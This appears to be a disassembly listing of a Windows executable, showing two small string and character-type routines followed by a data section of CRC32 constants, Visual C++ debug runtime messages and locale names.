sub_431680 proc near ; CODE XREF: sub_431390+94p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
loc_431692: ; CODE XREF: sub_431680+37j
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
test edx, edx
jz short loc_4316B9
mov ecx, [ebp+var_4]
xor edx, edx
mov dx, [ecx]
test edx, edx
jz short loc_4316B9
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
jmp short loc_431692
; ---------------------------------------------------------------------------
loc_4316B9: ; CODE XREF: sub_431680+20j
; sub_431680+2Cj
mov ecx, [ebp+var_4]
xor edx, edx
mov dx, [ecx]
test edx, edx
jnz short loc_4316CF
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
sar eax, 1
jmp short loc_4316D2
; ---------------------------------------------------------------------------
loc_4316CF: ; CODE XREF: sub_431680+43j
mov eax, [ebp+arg_4]
loc_4316D2: ; CODE XREF: sub_431680+4Dj
mov esp, ebp
pop ebp
retn
sub_431680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4316E0 proc near ; CODE XREF: sub_4312D0+6Ep
; .text:0043176Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
and eax, 0FFFFh
cmp eax, 0FFFFh
jnz short loc_4316F7
xor eax, eax
jmp short loc_431753
; ---------------------------------------------------------------------------
loc_4316F7: ; CODE XREF: sub_4316E0+11j
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
cmp ecx, 100h
jge short loc_431720
mov edx, [ebp+arg_0]
and edx, 0FFFFh
mov eax, off_442D50
mov cx, [eax+edx*2]
mov word ptr [ebp+var_4], cx
jmp short loc_431740
; ---------------------------------------------------------------------------
loc_431720: ; CODE XREF: sub_4316E0+26j
push 0
push 0
lea edx, [ebp+var_4]
push edx
push 1
lea eax, [ebp+arg_0]
push eax
push 1
call sub_42F2F0
add esp, 18h
test eax, eax
jnz short loc_431740
xor eax, eax
jmp short loc_431753
; ---------------------------------------------------------------------------
loc_431740: ; CODE XREF: sub_4316E0+3Ej
; sub_4316E0+5Aj
mov eax, [ebp+var_4]
and eax, 0FFFFh
mov ecx, [ebp+arg_4]
and ecx, 0FFFFh
and eax, ecx
loc_431753: ; CODE XREF: sub_4316E0+15j
; sub_4316E0+5Ej
mov esp, ebp
pop ebp
retn
sub_4316E0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov ax, [ebp+0Ch]
push eax
mov cx, [ebp+8]
push ecx
call sub_4316E0
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 1000h
_text ends
; Section 2. (virtual address 00032000)
; Virtual size : 00002000 ( 8192.)
; Section size in file : 00002000 ( 8192.)
; Offset to raw data for section: 00032000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rdata segment para public 'DATA' use32
assume cs:_rdata
;org 432000h
dd 0
dd 46FDCBFDh, 0
dd 2, 4Bh, 0
dd 47C00h
dword_43201C dd 0 ; DATA XREF: sub_40416F+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dd 0
dbl_432420 dq 9.765625e-4 ; DATA XREF: sub_405084+2BDr
; sub_405084+2D8r ...
aClient db 'Client',0 ; DATA XREF: .data:00442C20o
align 10h
aIgnore db 'Ignore',0 ; DATA XREF: .data:00442C1Co
align 4
aCrt db 'CRT',0 ; DATA XREF: .data:00442C18o
aNormal_0 db 'Normal',0 ; DATA XREF: .data:00442C14o
align 4
aFree db 'Free',0 ; DATA XREF: .data:off_442C10o
align 4
aErrorMemoryAll db 'Error: memory allocation: bad memory block type.',0Ah,0
; DATA XREF: sub_416B00:loc_416C6Ao
; sub_416F00:loc_417080o
align 10h
aInvalidAllocat db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_416B00+11Bo
aS_34 db '%s',0 ; DATA XREF: sub_416B00+BCo
; sub_416B00+16Fo ...
align 4
aClientHookAl_0 db 'Client hook allocation failure.',0Ah,0
; DATA XREF: sub_416B00:loc_416BB7o
align 4
aClientHookAllo db 'Client hook allocation failure at file %hs line %d.',0Ah,0
; DATA XREF: sub_416B00+94o
align 4
aDbgheap_c db 'dbgheap.c',0 ; DATA XREF: sub_416B00+31o
; sub_416F00+77o ...
align 10h
a_crtcheckmemor db '_CrtCheckMemory()',0 ; DATA XREF: sub_416B00+25o
; sub_416F00+6Bo ...
align 4
a_pfirstblockPo db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_416F00+499o
align 10h
a_plastblockPol db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_416F00+445o
align 4
aFreallocFreall db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0
; DATA XREF: sub_416F00:loc_4172E6o
align 10h
a_block_typePol db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0
; DATA XREF: sub_416F00+277o
align 4
aPoldblockNline db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_'
; DATA XREF: sub_416F00:loc_417111o
db 'REQ',0
align 4
a_crtisvalidhea db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_416F00+1B6o
; sub_4174F0+A8o ...
align 4
aAllocationTooL db 'Allocation too large or negative: %u bytes.',0Ah,0
; DATA XREF: sub_416F00+136o
align 4
aClientHookRe_0 db 'Client hook re-allocation failure.',0Ah,0
; DATA XREF: sub_416F00:loc_416FFFo
aClientHookReAl db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0
; DATA XREF: sub_416F00+DCo
a_pfirstblockPh db '_pFirstBlock == pHead',0 ; DATA XREF: sub_4174F0+35Do
align 4
a_plastblockPhe db '_pLastBlock == pHead',0 ; DATA XREF: sub_4174F0+307o
align 4
aPheadNblockuse db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_4174F0+29Co
; sub_417900+112o
align 4
aPheadNlineIgno db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0
; DATA XREF: sub_4174F0:loc_417714o
align 4
aDamageAfterHsB db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0
; DATA XREF: sub_4174F0+1E5o
; sub_417BD0+249o
align 10h
aDamageBeforeHs db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0
; DATA XREF: sub_4174F0+17Fo
; sub_417BD0+1ECo
align 4
a_block_type_is db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_4174F0+10Ao
; sub_417900+C1o ...
align 4
aClientHookFree db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_4174F0:loc_41755Do
align 10h
aMemoryCheckErr db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0
; DATA XREF: sub_417B40+54o
align 4
aHsLocatedAt0x0 db '%hs located at 0x%08X is %u bytes long.',0Ah,0
; DATA XREF: sub_417BD0+31Eo
align 4
aHsAllocatedAtF db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_417BD0+2EBo
aDamageOnTopOfF db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0
; DATA XREF: sub_417BD0+2A2o
align 4
aDamaged db 'DAMAGED',0 ; DATA XREF: sub_417BD0:loc_417D88o
a_heapchkFail_3 db '_heapchk fails with unknown return value!',0Ah,0
; DATA XREF: sub_417BD0:loc_417CE2o
align 4
a_heapchkFail_2 db '_heapchk fails with _HEAPBADPTR.',0Ah,0
; DATA XREF: sub_417BD0:loc_417CBAo
align 4
a_heapchkFail_1 db '_heapchk fails with _HEAPBADEND.',0Ah,0
; DATA XREF: sub_417BD0:loc_417C92o
align 10h
a_heapchkFail_0 db '_heapchk fails with _HEAPBADNODE.',0Ah,0
; DATA XREF: sub_417BD0:loc_417C6Ao
align 4
a_heapchkFailsW db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0
; DATA XREF: sub_417BD0:loc_417C3Fo
aBadMemoryBlock db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_4181D0+11Bo
align 4
a_crtmemcheckpo db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0
; DATA XREF: sub_4181D0:loc_4181DFo
a_crtmemdiffere db '_CrtMemDifference: NULL state pointer.',0Ah,0
; DATA XREF: .text:loc_418362o
aObjectDumpComp db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_418470:loc_4186FCo
align 4
aCrtBlockAt0x08 db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
; DATA XREF: sub_418470+250o
align 4
aNormalBlockAt0 db 'normal block at 0x%08X, %u bytes long.',0Ah,0
; DATA XREF: sub_418470+1F3o
aClientBlockAt0 db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
; DATA XREF: sub_418470+188o
aLd db '{%ld} ',0 ; DATA XREF: sub_418470+139o
align 4
aHsD db '%hs(%d) : ',0 ; DATA XREF: sub_418470+111o
align 4
aFileErrorD db '#File Error#(%d) : ',0 ; DATA XREF: sub_418470+E0o
aDumpingObjects db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_418470:loc_41848Ao
aDataSS db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_418730+ECo
a_2x db '%.2X ',0 ; DATA XREF: sub_418730+BFo
align 4
aDetectedMemory db 'Detected memory leaks!',0Ah,0 ; DATA XREF: sub_418850:loc_418884o
aTotalAllocatio db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: .text:0041896Do
align 10h
aLargestNumberU db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: .text:00418945o
align 4
aLdBytesInLdHsB db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: .text:0041891Bo
align 4
aFormatNull db 'format != NULL',0 ; DATA XREF: sub_418D70+45o
; sub_418EF0+45o ...
align 4
aSprintf_c db 'sprintf.c',0 ; DATA XREF: sub_418D70+24o
; sub_418D70+4Eo ...
align 10h
aStringNull db 'string != NULL',0 ; DATA XREF: sub_418D70+1Bo
; sub_418EF0+1Bo ...
align 10h
aSscanf_c db 'sscanf.c',0 ; DATA XREF: sub_4192A0+24o
; sub_4192A0+4Eo
align 4
aVsprintf_c db 'vsprintf.c',0 ; DATA XREF: sub_4193F0+1Eo
; sub_4193F0+48o
align 4
aFclose_c db 'fclose.c',0 ; DATA XREF: sub_419740+1Do
; sub_4197D0+25o
align 4
aStreamNull db 'stream != NULL',0 ; DATA XREF: sub_419740+14o
; sub_41B7D0+Do ...
align 4
aStrNull db 'str != NULL',0 ; DATA XREF: sub_4197D0+1Co
; sub_419B30+45o ...
aFgets_c db 'fgets.c',0 ; DATA XREF: sub_419B30+24o
; sub_419B30+4Eo
aMode_t0 db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_419C70+95o
align 4
aModeNull db 'mode != NULL',0 ; DATA XREF: sub_419C70+67o
; sub_421980+4Fo
align 4
aFile_t0 db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_419C70+3Do
align 10h
aFopen_c db 'fopen.c',0 ; DATA XREF: sub_419C70+18o
; sub_419C70+46o ...
aFileNull db 'file != NULL',0 ; DATA XREF: sub_419C70+Fo
align 4
aStrupr_c db 'strupr.c',0 ; DATA XREF: sub_41A5E0+133o
align 4
aFprintf_c db 'fprintf.c',0 ; DATA XREF: sub_41AD60+1Eo
; sub_41AD60+48o
align 10h
aMbstowcs_c db 'mbstowcs.c',0 ; DATA XREF: sub_41B0E0+32o
align 4
aSNull db 's != NULL',0 ; DATA XREF: sub_41B0E0+29o
align 4
aFseek_c db 'fseek.c',0 ; DATA XREF: sub_41B7D0+16o
; sub_41B840+19o
dword_432C50 dd 0FFFFFFFFh, 41BAA2h, 41BABDh ; DATA XREF: sub_41B970+5o
aMlock_c db 'mlock.c',0 ; DATA XREF: sub_41BC90+16o
aAssertionFai_1 db 'Assertion Failed',0 ; DATA XREF: .data:00442D40o
align 4
aError db 'Error',0 ; DATA XREF: .data:00442D3Co
align 10h
aWarning db 'Warning',0 ; DATA XREF: .data:off_442D38o
aSDS_0 db '%s(%d) : %s',0 ; DATA XREF: sub_41BF80+1FFo
asc_432C94: ; DATA XREF: sub_41BF80:loc_41C156o
dw 0Ah
unicode 0, <>,0
asc_432C98: ; DATA XREF: sub_41BF80+1C2o
dw 0Dh
unicode 0, <>,0
aAssertionFai_0 db 'Assertion failed!',0 ; DATA XREF: sub_41BF80:loc_41C0F5o
align 10h
aAssertionFaile db 'Assertion failed: ',0 ; DATA XREF: sub_41BF80+169o
align 4
a_crtdbgreportS db '_CrtDbgReport: String too long or IO Error',0
; DATA XREF: sub_41BF80+149o
; sub_41BF80+21Co ...
align 10h
aSecondChanceAs db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0
; DATA XREF: sub_41BF80+E6o
align 4
aWsprintfa db 'wsprintfA',0 ; DATA XREF: sub_41BF80+B6o
align 10h
aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: sub_41BF80+9Co
; sub_426B40+16o
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_41C310+2C2o
align 10h
aDebugSProgramS db 'Debug %s!',0Ah ; DATA XREF: sub_41C310+28Co
db 0Ah
db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah
db 0Ah
db '(Press Retry to debug the application)',0
align 4
aModule db 0Ah ; DATA XREF: sub_41C310+221o
db 'Module: ',0
align 10h
aFile_3 db 0Ah ; DATA XREF: sub_41C310+1E1o
db 'File: ',0
aLine db 0Ah ; DATA XREF: sub_41C310+1AAo
db 'Line: ',0
asc_432DD0 db 0Ah ; DATA XREF: sub_41C310+173o
; sub_4260B0+171o
db 0Ah,0
align 4
aExpression db 'Expression: ',0 ; DATA XREF: sub_41C310+153o
align 4
dword_432DE4 dd 0 ; DATA XREF: sub_41C310:loc_41C42Ao
; sub_41C310:loc_41C449o ...
aForInformation db 0Ah ; DATA XREF: sub_41C310+10Eo
db 0Ah
db 'For information on how your program can cause an assertion',0Ah
db 'failure, see the Visual C++ documentation on asserts.',0
align 4
a___ db '...',0 ; DATA XREF: sub_41C310+9Co
; sub_41C310+F4o ...
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41C310+56o
; sub_4260B0+EDo
align 4
aDbgrpt_c db 'dbgrpt.c',0 ; DATA XREF: sub_41C310+1Fo
align 4
aSzusermessageN db 'szUserMessage != NULL',0 ; DATA XREF: sub_41C310+13o
align 4
aInconsistentIo db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0
; DATA XREF: sub_41E810+162o
align 4
a_flsbuf_c db '_flsbuf.c',0 ; DATA XREF: sub_41E810+18o
; sub_41E810+16Eo
align 4
byte_432EE8 db 6 ; DATA XREF: sub_41EA90+8Fr
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
db 8,'`h````',0
dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h
dd 8
aNull_0: ; DATA XREF: .data:off_442F68o
unicode 0, <(null)>,0
align 4
aNull db '(null)',0 ; DATA XREF: .data:off_442F64o
align 4
aOutput_c db 'output.c',0 ; DATA XREF: sub_41EA90+122o
align 4
aCh_t0 db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41EA90+116o
align 4
aTidtable_c db 'tidtable.c',0 ; DATA XREF: sub_41F930+23o
; sub_41FA10+29o
align 4
aInput_c db 'input.c',0 ; DATA XREF: sub_41FBE0+1Eo
; sub_41FBE0+4Bo
a_file_c db '_file.c',0 ; DATA XREF: sub_4210E0+31o
; sub_4210E0+65o
a_freebuf_c db '_freebuf.c',0 ; DATA XREF: sub_421440+15o
align 10h
a_filbuf_c db '_filbuf.c',0 ; DATA XREF: sub_421790+18o
align 4
a_open_c db '_open.c',0 ; DATA XREF: sub_421980+2Eo
; sub_421980+58o ...
aFilenameNull db 'filename != NULL',0 ; DATA XREF: sub_421980+25o
align 4
aStream_c db 'stream.c',0 ; DATA XREF: sub_421D10+C1o
align 8
dbl_432FD8 dq 1.0 ; DATA XREF: sub_4226A0+37r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422700+1Ao
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_422700+6o
align 4
dbl_433008 dq 0.0 ; DATA XREF: sub_4228E0+9r
aE000 db 'e+000',0 ; DATA XREF: sub_4229E0:loc_422A58o
align 4
dword_433018 dd 0 ; DATA XREF: sub_422F40+5Do
; sub_426F40+58o ...
dword_43301C dd 0 ; DATA XREF: sub_422F40+35o
; sub_426F40+35o ...
dword_433020 dd 0FFFFFFFFh, 423086h, 42308Ch, 0FFFFFFFFh, 42317Ch, 423182h
; DATA XREF: sub_422F40+5o
dd 545F434Ch, 454D49h, 4E5F434Ch, 52454D55h, 4349h, 4D5F434Ch
dd 54454E4Fh, 595241h, 435F434Ch, 45505954h, 0
aLc_collate db 'LC_COLLATE',0 ; DATA XREF: .data:0044349Co
align 10h
aLc_all db 'LC_ALL',0 ; DATA XREF: .data:off_443490o
align 4
asc_433078: ; DATA XREF: .text:loc_423453o
; sub_423830+83o
unicode 0, <;>,0
asc_43307C db '=;',0 ; DATA XREF: .text:loc_423381o
align 10h
aSetlocal_c db 'setlocal.c',0 ; DATA XREF: sub_423690+3Eo
; sub_423830+1Bo
align 4
asc_43308C: ; DATA XREF: sub_423830+5Bo
unicode 0, <=>,0
a___0 db '_.,',0 ; DATA XREF: sub_423B20:loc_423B92o
a__3: ; DATA XREF: sub_423C80+50o
; sub_42A100:loc_42A2FBo
unicode 0, <.>,0
a__4: ; DATA XREF: sub_423C80+25o
unicode 0, <_>,0
a_sftbuf_c db '_sftbuf.c',0 ; DATA XREF: sub_423FC0+18o
; sub_423FC0+B2o ...
align 4
aFlag0Flag1 db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_424120+13o
align 10h
aFtell_c db 'ftell.c',0 ; DATA XREF: .text:00424C66o
; sub_424CC0+18o
aStdenvp_c db 'stdenvp.c',0 ; DATA XREF: sub_425240+5Bo
; sub_425240+D0o
align 4
aStdargv_c db 'stdargv.c',0 ; DATA XREF: sub_425390+72o
align 10h
aA_env_c db 'a_env.c',0 ; DATA XREF: sub_4258A0+E8o
; sub_4258A0+1C6o
aIoinit_c db 'ioinit.c',0 ; DATA XREF: sub_425AC0+Bo
; sub_425AC0+106o
align 4
aRuntimeError db 'runtime error ',0
align 4
db 0Dh,0Ah,0
align 4
aTlossError db 'TLOSS error',0Dh,0Ah,0
align 4
aSingError db 'SING error',0Dh,0Ah,0
align 4
aDomainError db 'DOMAIN error',0Dh,0Ah,0
align 4
aR6028UnableToI db 'R6028',0Dh,0Ah
db '- unable to initialize heap',0Dh,0Ah,0
align 10h
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 10h
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 10h
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 10h
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 10h
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_443694o
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4260B0+1A4o
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4260B0:loc_4261FAo
db 0Ah
db 'Program: ',0
align 4
aWinsig_c db 'winsig.c',0 ; DATA XREF: .text:004266F1o
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_426B40+5Fo
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_426B40:loc_426B8Bo
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_426B40+2Ao
dword_433400 dd 0FFFFFFFFh, 427084h, 42708Ah ; DATA XREF: sub_426F40+5o
a_getbuf_c db '_getbuf.c',0 ; DATA XREF: sub_427100+16o
; sub_427100+48o
align 4
aMbtowc_c db 'mbtowc.c',0 ; DATA XREF: sub_4273B0+21o
align 4
aMb_cur_max1Mb_ db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_4273B0+18o
align 4
aUngetc_c db 'ungetc.c',0 ; DATA XREF: .text:00427936o
; sub_427990+16o
align 4
aOsfinfo_c db 'osfinfo.c',0 ; DATA XREF: sub_427BB0+138o
align 10h
aInittime_c db 'inittime.c',0 ; DATA XREF: sub_429780+13o
align 4
aInitnum_c db 'initnum.c',0 ; DATA XREF: sub_42A100+1CFo
; sub_42A100+215o ...
align 4
aInitmon_c db 'initmon.c',0 ; DATA XREF: sub_42A430+13o
align 4
aInitctyp_c db 'initctyp.c',0 ; DATA XREF: sub_42A890+52o
; sub_42A890+6Bo ...
align 10h
aParaguay db 'Paraguay',0
align 4
aUruguay db 'Uruguay',0
aChile db 'Chile',0
align 4
aEcuador db 'Ecuador',0 ; DATA XREF: .data:00443B58o
aArgentina db 'Argentina',0
align 10h
aPeru db 'Peru',0
align 4
aColombia db 'Colombia',0
align 4
aVenezuela db 'Venezuela',0
align 10h
aDominicanRepub db 'Dominican Republic',0 ; DATA XREF: .data:00443A7Co
align 4
aSouthAfrica db 'South Africa',0
align 4
aPanama db 'Panama',0 ; DATA XREF: .data:00443A24o
align 4
aLuxembourg db 'Luxembourg',0
align 4
aCostaRica db 'Costa Rica',0 ; DATA XREF: .data:004439CCo
align 4
aSwitzerland db 'Switzerland',0
aGuatemala db 'Guatemala',0 ; DATA XREF: .data:00443974o
align 4
aCanada db 'Canada',0 ; DATA XREF: .data:00443948o
align 4
aSpanishModernS db 'Spanish - Modern Sort',0 ; DATA XREF: .data:00443914o
align 4
aAustralia db 'Australia',0 ; DATA XREF: .data:004438F0o
align 4
aEnglish db 'English',0 ; DATA XREF: .data:004438E8o
; .data:00443A48o
aAustria db 'Austria',0 ; DATA XREF: .data:004438C4o
aGerman db 'German',0 ; DATA XREF: .data:004438BCo
align 10h
aBelgium db 'Belgium',0 ; DATA XREF: .data:00443898o
aMexico db 'Mexico',0
align 10h
aSpanish db 'Spanish',0 ; DATA XREF: .data:00443864o
; .data:0044396Co ...
aBasque db 'Basque',0 ; DATA XREF: .data:00443838o
align 10h
aSweden db 'Sweden',0 ; DATA XREF: .data:00443814o
align 4
aSwedish db 'Swedish',0 ; DATA XREF: .data:0044380Co
aIceland db 'Iceland',0
aIcelandic db 'Icelandic',0 ; DATA XREF: .data:004437E0o
align 4
aFrance db 'France',0 ; DATA XREF: .data:004437BCo
align 4
aFrench db 'French',0 ; DATA XREF: .data:004437B4o
; .data:00443890o ...
align 4
aFinland db 'Finland',0
aFinnish db 'Finnish',0 ; DATA XREF: .data:00443788o
aSpain db 'Spain',0 ; DATA XREF: .data:off_443764o
align 4
aSpanishTraditi db 'Spanish - Traditional Sort',0 ; DATA XREF: .data:off_44375Co
align 4
aUnitedStates db 'united-states',0
align 4
aUnitedKingdom db 'united-kingdom',0
align 4
aTrinidadTobago db 'trinidad & tobago',0
align 4
aSouthKorea db 'south-korea',0
aSouthAfrica_0 db 'south-africa',0
align 4
aSouthKorea_0 db 'south korea',0
aSouthAfrica_1 db 'south africa',0
align 4
aSlovak db 'slovak',0
align 4
aPuertoRico db 'puerto-rico',0
aPrChina db 'pr-china',0
align 4
